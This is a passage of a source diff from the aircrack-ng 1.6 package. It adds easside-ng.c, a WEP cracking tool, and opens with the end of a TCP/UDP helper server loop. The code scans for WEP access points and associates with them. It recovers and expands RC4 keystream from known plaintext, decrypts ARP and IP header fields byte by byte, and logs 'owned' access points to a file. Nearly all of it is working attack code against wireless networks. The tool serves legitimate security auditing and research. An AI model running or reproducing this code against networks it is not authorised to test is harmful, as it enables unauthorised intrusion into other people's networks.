+	memset(&s_in, 0, sizeof(s_in));
+	s_in.sin_family = PF_INET;
+	s_in.sin_addr.s_addr = INADDR_ANY;
+	s_in.sin_port = htons(S_DEFAULT_UDP_PORT);
+
+	udp = socket(s_in.sin_family, SOCK_DGRAM, IPPROTO_UDP);
+	if (udp == -1) err(1, "socket(UDP)");
+	if (bind(udp, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+		err(1, "bind()");
+
+	s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
+	if (s == -1) err(1, "socket(TCP)");
+
+	drop = 1;
+
+	// Do not drop privileges on Windows (doing it fails).
+	if (uname(&utsName) == 0)
+	{
+		drop = strncasecmp(utsName.sysname, "cygwin", 6);
+	}
+
+	if (drop) drop_privs();
+
+	memset(&s_in, 0, sizeof(s_in));
+	s_in.sin_family = PF_INET;
+	s_in.sin_port = htons(port);
+	s_in.sin_addr.s_addr = INADDR_ANY;
+
+	len = 1;
+	if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &len, sizeof(len)) == -1)
+		err(1, "setsockopt(SO_REUSEADDR)");
+
+	if (bind(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+		err(1, "bind()");
+
+	if (listen(s, 5) == -1) err(1, "listen()");
+
+	while (1)
+	{
+		len = sizeof(dude_sin);
+		printf("Waiting for connexion\n");
+		dude = accept(s, (struct sockaddr *) &dude_sin, (socklen_t *) &len);
+		if (dude == -1) err(1, "accept()");
+
+		printf("Got connection from %s\n", inet_ntoa(dude_sin.sin_addr));
+		handle_dude(dude, udp);
+		printf("That was it\n");
+	}
+
+	exit(EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/easside-ng Added

aircrack-ng-1.6.tar.gz/src/easside-ng/easside-ng.c Added

@@ -0,0 +1,2629 @@
+/*
+  *  Copyright (c) 2007-2009 Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <assert.h>
+#include <err.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <signal.h>
+#include <sys/uio.h>
+#include <sys/time.h>
+#include <time.h>
+#include <zlib.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netinet/in_systm.h>
+#include <netinet/ip.h>
+#include <stdarg.h>
+#define __FAVOR_BSD
+#include <netinet/udp.h>
+#undef __FAVOR_BSD
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/support/communications.h"
+#include "aircrack-ng/osdep/osdep.h"
+#include "aircrack-ng/third-party/ieee80211.h"
+#include "easside.h"
+#include "aircrack-ng/third-party/if_arp.h"
+#include "aircrack-ng/third-party/ethernet.h"
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/osdep/byteorder.h"
+#include "aircrack-ng/support/common.h"
+
+#define S_MTU 1500
+#define S_MCAST "\x01\x00\x5e\x01\x00"
+#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
+#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
+#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
+#define S_PRGA_LOG "prga.log"
+#define S_OWN_LOG "own.log"
+#define S_MIN_RTO 10
+
+enum
+{
+	S_SEARCHING = 0,
+	S_SENDAUTH,
+	S_SENDASSOC,
+	S_ASSOCIATED
+};
+
+enum
+{
+	AS_NOPRGA = 0,
+	AS_PRGA_EXPAND,
+	AS_FIND_IP,
+	AS_DECRYPT_ARP,
+	AS_DECRYPT_IP,
+	AS_FIND_RTR_MAC,
+	AS_CHECK_INET,
+	AS_REDIRECT
+};
+
+struct rpacket
+{
+	unsigned char rp_packet[2048];
+	int rp_len;
+	int rp_id;
+	struct rpacket * rp_next;
+};
+
+struct owned
+{
+	unsigned char ow_mac[6];
+	struct owned * ow_next;
+};
+
+struct east_state
+{
+	/* conf & params */
+	char es_ifname[256];
+	unsigned char es_mymac[6];
+	int es_setmac;
+	int es_iponly;
+	struct wif * es_wi;
+	char es_tapname[16];
+	struct tif * es_ti;
+	unsigned int es_hopfreq;
+	int es_txto_mgt;
+	int es_txto_expand;
+	int es_expand_factor;
+	int es_txto_decrypt;
+	int es_port;
+	int es_udp_port;
+	int es_txto_whohas;
+	int es_txto_checkinet;
+	int es_txto_redirect;
+	unsigned char es_clear[S_MTU + 4];
+	struct rpacket * es_rqueue;
+	struct owned * es_owned;
+	int es_chanlock;
+
+	/* state */
+	unsigned char es_apmac[6];
+	int es_apchan;
+	char es_apssid[256];
+	int es_state;
+	struct timeval es_lasthop;
+	int es_txseq;
+	struct timeval es_txlast;
+	unsigned char es_prga[S_MTU + 4];
+	unsigned char * es_clearp;
+	unsigned char * es_clearpnext;
+	int es_prgalen;
+	unsigned char es_iv[3];
+	int es_expand_num;
+	int es_expand_len;
+	int es_txack;
+	unsigned char es_prga_d[S_MTU + 4];
+	int es_prga_dlen;
+	unsigned char es_prga_div[3];
+	unsigned char es_packet[2048];
+	int es_have_packet;
+	int es_have_src;
+	unsigned char es_packet_arp[2048];
+	int es_have_arp;
+	struct in_addr es_myip;
+	struct in_addr es_rtrip;
+	struct in_addr es_pubip;
+	unsigned char es_rtrmac[6];
+	struct in_addr es_srvip;
+	int es_buddys;
+	unsigned short es_rpacket_id;
+	struct timeval es_rtt;
+	unsigned short es_rtt_id;
+	int es_srtt;
+	int es_rxseq;
+	int es_astate;
+};
+
+static struct east_state _es;
+
+static void printf_time(char * fmt, ...)
+{
+	REQUIRE(fmt != NULL);
+
+	va_list ap;
+	struct timeval now;
+	time_t t;
+	struct tm * tm;
+
+	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
+	t = time(NULL);
+	if (t == (time_t) -1) err(1, "time()");
+	tm = localtime(&t);
+	if (!tm) err(1, "localtime()");
+
+	printf("[%.2d:%.2d:%.2d.%.6lu] ",
+		   tm->tm_hour,
+		   tm->tm_min,
+		   tm->tm_sec,
+		   (long unsigned int) now.tv_usec);
+
+	va_start(ap, fmt);
+	vprintf(fmt, ap);
+	va_end(ap);
+}
+
+static void init_defaults(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	memset(es, 0, sizeof(*es));
+
+	memcpy(es->es_mymac, "\x00\x00\xde\xfa\xce\x0d", 6);
+	es->es_setmac = 0;
+	strncpy(es->es_ifname, "specify_interface", sizeof(es->es_ifname) - 1);
+
+	es->es_state = S_SEARCHING;
+	es->es_hopfreq = 100; /* ms */
+
+	es->es_txto_mgt = 100; /* ms */
+	es->es_txto_expand = 100;
+	es->es_expand_factor = 3;
+	memcpy(es->es_clear, "\xAA\xAA\x03\x00\x00\x00\x08\x06", 8);
+	es->es_clearpnext = es->es_clearp = es->es_clear;
+
+	es->es_txto_decrypt = 10;
+
+	es->es_txto_whohas = 500;
+	es->es_txto_checkinet = 2000;
+	es->es_txto_redirect = 2000;
+	es->es_port = S_DEFAULT_PORT;
+	es->es_udp_port = S_DEFAULT_UDP_PORT;
+}
+
+static void reset(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	int sz;
+	void * ptr;
+	struct rpacket * p;
+	struct owned * ow;
+	FILE * f;
+	char mac[18];
+
+	/* close buddy */
+	close(es->es_buddys);
+	es->es_buddys = 0;
+
+	/* reset state */
+	ptr = es->es_apmac;
+	sz = sizeof(*es) - ((unsigned long) ptr - (unsigned long) es);
+	memset(ptr, 0, sz);
+
+	/* fixup state */
+	es->es_clearpnext = es->es_clearp = es->es_clear;
+	p = es->es_rqueue;
+	while (p)
+	{
+		p->rp_len = 0;
+		p = p->rp_next;
+	}
+
+	/* log ownage */
+	ow = malloc(sizeof(*ow));
+	ALLEGE(ow != NULL);
+	memset(ow, 0, sizeof(*ow));
+	memcpy(ow->ow_mac, es->es_apmac, sizeof(ow->ow_mac));
+	ow->ow_next = es->es_owned;
+	es->es_owned = ow;
+
+	f = fopen(S_OWN_LOG, "a");
+	if (!f) err(1, "fopen()");
+	mac2str(mac, es->es_apmac, sizeof(mac));
+	fprintf(f,
+			"%s %d %s %s\n",
+			mac,
+			es->es_apchan,
+			es->es_apssid,
+			inet_ntoa(es->es_pubip));
+	fclose(f);
+
+	/* start over */
+	es->es_state = S_SEARCHING;
+	printf_time("Restarting");
+}
+
+/********** RIPPED
+************/
+static unsigned short in_cksum(unsigned short * ptr, int nbytes)
+{
+	REQUIRE(ptr != NULL);
+
+	register long sum;
+	u_short oddbyte;
+	register u_short answer;
+
+	sum = 0;
+	while (nbytes > 1)
+	{
+		sum += *ptr++;
+		nbytes -= 2;
+	}
+
+	if (nbytes == 1)
+	{
+		oddbyte = 0;
+		*((u_char *) &oddbyte) = *(u_char *) ptr;
+		sum += oddbyte;
+	}
+
+	sum = (sum >> 16) + (sum & 0xffff);
+	sum += (sum >> 16);
+	answer = ~sum;
+
+	return (answer);
+}
+/**************
+************/
+
+static void open_wifi(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	struct wif * wi;
+
+	wi = wi_open(es->es_ifname);
+	if (!wi) err(1, "wi_open()");
+
+	INVARIANT(es->es_wi == NULL);
+	es->es_wi = wi;
+}
+
+static void open_tap(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	struct tif * ti;
+	char * iface = NULL;
+
+	if (es->es_tapname[0]) iface = es->es_tapname;
+
+	ti = ti_open(iface);
+	if (!ti) err(1, "ti_open()");
+
+	strncpy(es->es_tapname, ti_name(ti), sizeof(es->es_tapname) - 1);
+	es->es_tapname[sizeof(es->es_tapname) - 1] = 0;
+
+	printf("Setting tap MTU\n");
+	if (ti_set_mtu(ti, S_MTU - 50) == -1) err(1, "ti_set_mtu()");
+
+	es->es_ti = ti;
+}
+
+static void set_mac(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	printf("Sorting out wifi MAC\n");
+	if (!es->es_setmac)
+	{
+		char mac[18];
+
+		if (wi_get_mac(es->es_wi, es->es_mymac) == -1) err(1, "wi_get_mac()");
+		mac2str(mac, es->es_mymac, sizeof(mac));
+		printf("MAC is %s\n", mac);
+	}
+	else if (wi_set_mac(es->es_wi, es->es_mymac) == -1)
+		err(1, "wi_set_mac()");
+
+	printf("Setting tap MAC\n");
+	if (ti_set_mac(es->es_ti, es->es_mymac) == -1) err(1, "ti_set_mac()");
+}
+
+static void set_tap_ip(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	if (ti_set_ip(es->es_ti, &es->es_myip) == -1) err(1, "ti_set_ip()");
+}
+
+static void die(char * m)
+{
+	REQUIRE(m != NULL);
+
+	struct east_state * es = &_es;
+
+	printf("Dying: %s\n", m);
+	if (es->es_wi) wi_close(es->es_wi);
+	if (es->es_ti) ti_close(es->es_ti);
+
+	exit(EXIT_SUCCESS);
+}
+
+static void sighand(int sig)
+{
+	UNUSED_PARAM(sig);
+
+	die("signal");
+}
+
+static void set_chan(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	int chan = es->es_chanlock ? es->es_chanlock : es->es_apchan;
+
+	if (wi_set_channel(es->es_wi, chan) == -1) err(1, "wi_set_channel");
+}
+
+static void clear_timeout(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	memset(&es->es_txlast, 0, sizeof(es->es_txlast));
+}
+
+static void
+read_beacon(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	ieee80211_mgt_beacon_t b = (ieee80211_mgt_beacon_t)(wh + 1);
+	u_int16_t capa;
+	int bhlen = 12;
+	int got_ssid = 0, got_channel = 0;
+	struct owned * own = es->es_owned;
+
+	len -= sizeof(*wh) + bhlen;
+	if (len < 0)
+	{
+		printf("Short beacon %d\n", len);
+		return;
+	}
+
+	if (es->es_state != S_SEARCHING) return;
+
+	/* only wep */
+	capa = IEEE80211_BEACON_CAPABILITY(b);
+	if (!((capa & IEEE80211_CAPINFO_PRIVACY) && (capa & IEEE80211_CAPINFO_ESS)))
+		return;
+
+	/* lookin for a specific dude */
+	if (memcmp(es->es_apmac, "\x00\x00\x00\x00\x00\x00", 6) != 0)
+	{
+		if (memcmp(es->es_apmac, wh->i_addr3, 6) != 0) return;
+	}
+
+	/* check if we already owned him */
+	while (own)
+	{
+		if (memcmp(wh->i_addr3, own->ow_mac, 6) == 0) return;
+
+		own = own->ow_next;
+	}
+
+	/* SSID and channel */
+	b += bhlen;
+	while (len > 1)
+	{
+		unsigned char ie_len = b[1];
+
+		len -= 2 + ie_len;
+		if (len < 0)
+		{
+			printf("Short IE %d %d\n", len, ie_len);
+			return;
+		}
+
+		switch (b[0])
+		{
+			case IEEE80211_ELEMID_SSID:
+				if (!got_ssid)
+				{
+					strncpy(es->es_apssid, (char *) &b[2], ie_len);
+					es->es_apssid[ie_len] = 0;
+					if (strlen(es->es_apssid)) got_ssid = 1;
+				}
+				break;
+
+			case IEEE80211_ELEMID_DSPARMS:
+				if (!got_channel) got_channel = b[2];
+				break;
+		}
+
+		if (got_ssid && got_channel)
+		{
+			char str[18];
+
+			memcpy(es->es_apmac, wh->i_addr3, sizeof(es->es_apmac));
+			es->es_apchan = got_channel;
+			es->es_state = S_SENDAUTH;
+			mac2str(str, es->es_apmac, sizeof(str));
+			printf("\nSSID %s Chan %d Mac %s\n",
+				   es->es_apssid,
+				   es->es_apchan,
+				   str);
+
+			if (!es->es_chanlock) set_chan(es);
+			return;
+		}
+
+		b += 2 + ie_len;
+	}
+}
+
+static int for_me_and_from_ap(struct east_state * es,
+							  struct ieee80211_frame * wh)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	if (memcmp(wh->i_addr1, es->es_mymac, 6) != 0) return (0);
+
+	if (memcmp(wh->i_addr2, es->es_apmac, 6) != 0) return (0);
+
+	return (1);
+}
+
+static void
+read_auth(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	UNUSED_PARAM(len);
+
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	unsigned short * sp = (unsigned short *) (wh + 1);
+
+	if (es->es_state != S_SENDAUTH) return;
+
+	if (!for_me_and_from_ap(es, wh)) return;
+
+	if (le16toh(*sp) != 0)
+	{
+		printf("weird auth algo: %d\n", le16toh(*sp));
+		return;
+	}
+
+	sp++;
+	if (le16toh(*sp) != 2)
+	{
+		printf("weird auth transno: %d\n", le16toh(*sp));
+		return;
+	}
+
+	sp++;
+	if (le16toh(*sp) != 0)
+	{
+		printf("Auth unsuccessful %d\n", le16toh(*sp));
+		exit(EXIT_FAILURE);
+	}
+
+	printf("Authenticated\n");
+	es->es_state = S_SENDASSOC;
+}
+
+static int is_dup(struct east_state * es, struct ieee80211_frame * wh)
+{
+	REQUIRE(wh != NULL);
+
+	unsigned short * sn = (unsigned short *) &wh->i_seq[0];
+	unsigned short s;
+
+	s = (le16toh(*sn) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
+
+	REQUIRE(es != NULL);
+
+	if (s == es->es_rxseq) return (1);
+
+	es->es_rxseq = s;
+
+	return (0);
+}
+
+static void
+read_deauth(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	UNUSED_PARAM(len);
+
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	unsigned short * sp = (unsigned short *) (wh + 1);
+
+	if (!for_me_and_from_ap(es, wh)) return;
+
+	if (is_dup(es, wh)) return;
+
+	printf("Deauth: %d\n", le16toh(*sp));
+	es->es_state = S_SENDAUTH;
+}
+
+static void
+read_disassoc(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	UNUSED_PARAM(len);
+
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	unsigned short * sp = (unsigned short *) (wh + 1);
+
+	if (!for_me_and_from_ap(es, wh)) return;
+
+	if (is_dup(es, wh)) return;
+
+	printf("Disassoc: %d\n", le16toh(*sp));
+	es->es_state = S_SENDASSOC;
+}
+
+static void
+read_assoc_resp(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	UNUSED_PARAM(len);
+
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	unsigned short * sp = (unsigned short *) (wh + 1);
+
+	if (es->es_state != S_SENDASSOC) return;
+
+	if (!for_me_and_from_ap(es, wh)) return;
+
+	sp++; /* capa */
+
+	/* sc */
+	if (le16toh(*sp) != 0)
+	{
+		printf("Assoc unsuccessful %d\n", le16toh(*sp));
+		exit(EXIT_FAILURE);
+	}
+
+	sp++;
+	printf("Associated: %d\n", IEEE80211_AID(le16toh(*sp)));
+	es->es_state = S_ASSOCIATED;
+	es->es_txack = 0;
+	es->es_expand_num = -1;
+}
+
+static void
+read_mgt(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(wh != NULL);
+
+	if (len < (int) sizeof(*wh))
+	{
+		printf("Short mgt %d\n", len);
+		return;
+	}
+
+	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+	{
+		case IEEE80211_FC0_SUBTYPE_BEACON:
+		case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
+			read_beacon(es, wh, len);
+			break;
+
+		case IEEE80211_FC0_SUBTYPE_AUTH:
+			read_auth(es, wh, len);
+			break;
+
+		case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
+		case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
+			break;
+
+		case IEEE80211_FC0_SUBTYPE_DEAUTH:
+			read_deauth(es, wh, len);
+			break;
+
+		case IEEE80211_FC0_SUBTYPE_DISASSOC:
+			read_disassoc(es, wh, len);
+			break;
+
+		case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
+			read_assoc_resp(es, wh, len);
+			break;
+
+		default:
+			printf("Unknown mgmt subtype %x\n",
+				   wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK);
+			break;
+	}
+}
+
+static void
+read_ack(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	UNUSED_PARAM(len);
+
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	if (memcmp(wh->i_addr1, es->es_mymac, sizeof(wh->i_addr1)) != 0) return;
+
+	es->es_txack = 1;
+}
+
+static void
+read_ctl(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(wh != NULL);
+
+	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+	{
+		case IEEE80211_FC0_SUBTYPE_ACK:
+			read_ack(es, wh, len);
+			break;
+
+		case IEEE80211_FC0_SUBTYPE_RTS:
+		case IEEE80211_FC0_SUBTYPE_CTS:
+		case IEEE80211_FC0_SUBTYPE_PS_POLL:
+		case IEEE80211_FC0_SUBTYPE_CF_END:
+			break;
+
+		default:
+			printf("Unknown ctl subtype %x\n",
+				   wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK);
+			break;
+	}
+}
+
+static int our_network(struct east_state * es, struct ieee80211_frame * wh)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	void * bssid
+		= (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ? wh->i_addr2 : wh->i_addr1;
+
+	return (memcmp(es->es_apmac, bssid, sizeof(es->es_apmac)) == 0);
+}
+
+static inline void xor(void *out, void *clear, void *cipher, int len)
+{
+	REQUIRE(out != NULL);
+	REQUIRE(clear != NULL);
+	REQUIRE(cipher != NULL);
+	REQUIRE(len > 0);
+
+	unsigned char *cl = (unsigned char*) clear;
+	unsigned char *ci = (unsigned char*) cipher;
+	unsigned char *o = (unsigned char*) out;
+
+	while (len--)
+		*o++ = *cl++ ^ *ci++;
+}
+
+static void save_prga(struct east_state *es)
+{
+	REQUIRE(es != NULL);
+
+	int fd, rc;
+
+	ALLEGE(es->es_prgalen <= (int) sizeof(es->es_prga));
+	printf_time("Got %d bytes of PRGA IV [%.2X:%.2X:%.2X]",
+				es->es_prgalen,
+				es->es_iv[0],
+				es->es_iv[1],
+				es->es_iv[2]);
+	printf("\n");
+
+	fd = open(S_PRGA_LOG, O_WRONLY | O_CREAT, 0644);
+	if (fd == -1) err(1, "save_prga: open()");
+
+	rc = write(fd, es->es_iv, 3);
+	if (rc != 3)
+	{
+		printf("save_prga: can't write IV\n");
+		exit(EXIT_FAILURE);
+	}
+	rc = write(fd, es->es_prga, es->es_prgalen);
+	if (rc != es->es_prgalen)
+	{
+		printf("save_prga: can't write PRGA\n");
+		exit(EXIT_FAILURE);
+	}
+	close(fd);
+}
+
+static inline int is_arp(struct ieee80211_frame * wh, int len)
+{
+	UNUSED_PARAM(wh);
+
+	const int arpsize = 8 + sizeof(struct arphdr) + 10 * 2;
+
+	if (len == arpsize || len == 54) return (1);
+
+	return (0);
+}
+
+static void * get_sa(struct ieee80211_frame * wh)
+{
+	REQUIRE(wh != NULL);
+
+	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+		return (wh->i_addr3);
+	else
+		return (wh->i_addr2);
+}
+
+static void * get_da(struct ieee80211_frame * wh)
+{
+	REQUIRE(wh != NULL);
+
+	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+		return (wh->i_addr1);
+	else
+		return (wh->i_addr3);
+}
+
+static int known_clear(void * clear, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(clear != NULL);
+	REQUIRE(wh != NULL);
+
+	unsigned char * ptr = clear;
+
+	/* IP */
+	if (!is_arp(wh, len))
+	{
+		unsigned short iplen = htons(len - 8);
+
+		printf("Assuming IP %d\n", len);
+
+		len = sizeof(S_LLC_SNAP_IP) - 1;
+		memcpy(ptr, S_LLC_SNAP_IP, len);
+		ptr += len;
+
+		len = 2;
+		memcpy(ptr, "\x45\x00", len);
+		ptr += len;
+
+		memcpy(ptr, &iplen, len);
+		ptr += len;
+
+		len = ptr - ((unsigned char *) clear);
+		return (len);
+	}
+	printf("Assuming ARP %d\n", len);
+
+	/* arp */
+	len = sizeof(S_LLC_SNAP_ARP) - 1;
+	memcpy(ptr, S_LLC_SNAP_ARP, len);
+	ptr += len;
+
+	/* arp hdr */
+	len = 6;
+	memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
+	ptr += len;
+
+	/* type of arp */
+	len = 2;
+	if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
+		memcpy(ptr, "\x00\x01", len);
+	else
+		memcpy(ptr, "\x00\x02", len);
+	ptr += len;
+
+	/* src mac */
+	len = 6;
+	memcpy(ptr, get_sa(wh), len);
+	ptr += len;
+
+	len = ptr - ((unsigned char *) clear);
+
+	return (len);
+}
+
+static void
+base_prga(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	unsigned char ct[1024];
+	unsigned char * data = (unsigned char *) (wh + 1);
+	int prgalen;
+
+	memcpy(es->es_iv, data, 3);
+	data += 4;
+	len -= 4 + 4; /* IV & CRC */
+	if (len <= 0)
+	{
+		printf("base_prga: lame len %d\n", len);
+		return;
+	}
+
+	prgalen = known_clear(ct, wh, len);
+
+	xor(es->es_prga, ct, data, prgalen);
+	es->es_prgalen = prgalen;
+
+	save_prga(es);
+}
+
+static inline unsigned int get_crc32(void * data, int len)
+{
+	REQUIRE(data != NULL);
+
+	uLong crc;
+
+	crc = crc32(0L, Z_NULL, 0);
+	crc = crc32(crc, data, len);
+
+	return (crc);
+}
+
+static void
+check_expand(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	int elen;
+	unsigned long crc;
+	unsigned char * data = (unsigned char *) (wh + 1);
+
+	if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)) return;
+
+	if (memcmp(es->es_apmac, wh->i_addr2, 6) != 0) return;
+
+	if (memcmp(es->es_mymac, wh->i_addr3, 6) != 0) return;
+
+	if (memcmp("\xff\xff\xff\xff\xff\xff", wh->i_addr1, 6) != 0) return;
+
+	elen = es->es_expand_len;
+
+	if (elen != (len - 4)) return;
+
+	if (elen <= es->es_prgalen) return;
+
+	/* iv */
+	memcpy(es->es_iv, data, 3);
+	data += 4;
+	elen -= 4;
+
+	/* payload */
+	ALLEGE(elen <= (int) sizeof(es->es_clear));
+	es->es_prgalen = elen + 4;
+	xor(es->es_prga, es->es_clear, data, elen);
+
+	/* crc */
+	crc = htole32(get_crc32(es->es_clear, elen));
+	xor(&es->es_prga[elen], &crc, data + elen, 4);
+
+	save_prga(es);
+	if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP;
+}
+
+static int to_me(struct east_state * es, struct ieee80211_frame * wh)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	return (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+		   && memcmp(es->es_mymac, get_da(wh), 6) == 0;
+}
+
+static int from_me(struct east_state * es, struct ieee80211_frame * wh)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	return (memcmp(es->es_mymac, get_sa(wh), 6) == 0);
+}
+
+static int
+check_decrypt(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	int elen;
+
+	if (!from_me(es, wh)) return 0;
+
+	if (memcmp(wh->i_addr1, S_MCAST, 5) != 0) return (0);
+
+	elen = es->es_prga_dlen + 1;
+
+	if (elen != (len - 4)) return (0);
+
+	es->es_prga_d[es->es_prga_dlen] = wh->i_addr1[5];
+	es->es_prga_dlen++;
+
+	ALLEGE(es->es_prga_dlen <= (int) sizeof(es->es_prga_d));
+
+	return (1);
+}
+
+static void decrypt_ip_addr(
+	struct east_state * es, void * dst, int * len, void * cipher, int off)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(dst != NULL);
+	REQUIRE(len != NULL);
+	REQUIRE(cipher != NULL);
+
+	unsigned char * c = cipher;
+
+	*len = es->es_prga_dlen - off;
+	if (*len > 4) *len = 4;
+	INVARIANT(*len > 0);
+	xor(dst, c + off, es->es_prga_d + off, *len);
+}
+
+static void found_net_addr(struct east_state * es, unsigned char * a)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(a != NULL);
+
+	unsigned char ip[4];
+
+	memcpy(ip, a, 3);
+	if (!ip[0])
+	{
+		printf("Shit, prolly got a lame dhcp dude\n");
+		exit(EXIT_FAILURE);
+	}
+
+	ip[3] = 123;
+	memcpy(&es->es_myip, ip, 4);
+	printf("My IP %s\n", inet_ntoa(es->es_myip));
+	set_tap_ip(es);
+
+	ip[3] = 1;
+	memcpy(&es->es_rtrip, ip, 4);
+	printf("Rtr IP %s\n", inet_ntoa(es->es_rtrip));
+	es->es_astate = AS_FIND_RTR_MAC;
+}
+
+static void
+check_decrypt_arp(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	unsigned char ip[4];
+	int iplen;
+	const int off = 8 + sizeof(struct arphdr) + 6;
+	unsigned char * data;
+	int i;
+
+	if (!check_decrypt(es, wh, len)) return;
+
+	iplen = es->es_prga_dlen - off;
+	ALLEGE(iplen > 0 && iplen <= (int) sizeof(ip));
+
+	data = (unsigned char *) (((struct ieee80211_frame *) es->es_packet_arp)
+							  + 1);
+	data += +4 + off;
+	xor(ip, data, &es->es_prga_d[off], iplen);
+
+	printf("\nARP IP so far: ");
+	for (i = 0; i < iplen; i++)
+	{
+		printf("%d", ip[i]);
+		if ((i + 1) < iplen) printf(".");
+	}
+	printf("\n");
+
+	if (iplen == 3) found_net_addr(es, ip);
+}
+
+static void
+check_decrypt_ip(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	int off_ip = 8;
+	int off_id = off_ip + 4;
+	int off_ttl = off_id + 4;
+	int off_p = off_ttl + 1;
+	int off_check = off_p + 1;
+	int off_s_addr = off_check + 2;
+	int off_d_addr = off_s_addr + 4;
+	unsigned char * data = es->es_packet + sizeof(*wh) + 4;
+
+	if (!check_decrypt(es, wh, len)) return;
+
+	if (es->es_prga_dlen == (off_id + 2))
+	{
+		printf("\nGot IP ID\n");
+	}
+	else if (es->es_prga_dlen == (off_ttl + 1))
+	{
+		printf("\nGot IP TTL\n");
+	}
+	else if (es->es_prga_dlen == (off_p + 1))
+	{
+		unsigned char * c = data + off_p;
+		int p = (*c) ^ es->es_prga_d[es->es_prga_dlen - 1];
+		char * str = NULL;
+
+		switch (p)
+		{
+			case IPPROTO_ICMP:
+				str = "icmp";
+				break;
+			case IPPROTO_UDP:
+				str = "udp";
+				break;
+			case IPPROTO_TCP:
+				str = "tcp";
+				break;
+			default:
+				str = "unknown";
+				break;
+		}
+
+		printf("\nGot proto %s\n", str);
+	}
+	else if (es->es_prga_dlen == (off_check + 2))
+	{
+		printf("\nGot checksum [could use to help bforce addr]\n");
+	}
